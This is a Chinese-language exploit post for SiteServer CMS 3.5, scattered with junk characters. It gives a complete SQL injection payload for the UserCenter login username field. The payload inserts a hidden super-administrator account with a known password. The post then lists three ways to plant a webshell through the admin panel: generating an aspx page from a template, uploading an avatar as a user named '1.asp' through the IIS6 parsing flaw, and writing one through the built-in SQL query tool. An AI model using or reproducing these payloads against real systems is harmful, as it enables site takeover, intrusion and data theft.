SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
3 [4 @; |2 E  A. x  C0 [$ D
stieserver官网:www.siteserver.cn
" t; U, K. [# b9 v2 `0 o3 d

) r. h* S4 h5 S  L( R+ @
EXP:
0 g6 [+ p0 U: b4 j/ Q( N
直接访问UserCenter/login.aspx

% W9 o/ ^! p& h2 ~# K( x

用户名处输入：

  z. l. C7 Q# V# T. X2 a123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
2 b9 M" z) v* R1 A8 g5 X/ P, G( G
7 {5 S' a6 M/ y
1 A7 e8 `( a% [0 L& X
( N  ]6 w6 T- ]密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
/ b) B& Z( @0 w/ H5 @# U; @8 R8 {


" ]% u0 m1 a. E3 M之后再访问后台SiteServer/login.aspx用插入的用户登陆

' Y" y0 g0 ^+ A1 M8 e
& c$ o' J2 ?- Q+ ^1 n+ C# G
5 y& ]( _! _$ B5 Y5 J% Y后台拿webshell的三种方法：

一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

6 a% K" i0 B3 }, c二、
( @% g& [! N) I( }# [
成员权限-》添加用户-》用户名为：1.asp
4 {0 o& A; w7 R, i
( }# I$ o- J; Thttp://127.0.0.1/usercenter/
3 D: j6 U2 L# r. s) W4 z
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

（ps：后台添加用户时不会验证是否含有非法字符）
0 m  j6 U+ D9 p- Y. i$ L$ \
4 F8 G0 }  r2 \% Q  M$ f( F" ]* b三、
( |3 y7 {2 |& \. Y4 ~: [/ s4 h
系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
) x- K# J2 b8 K) {% w' @这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

3 [, Q# O; T) N1 E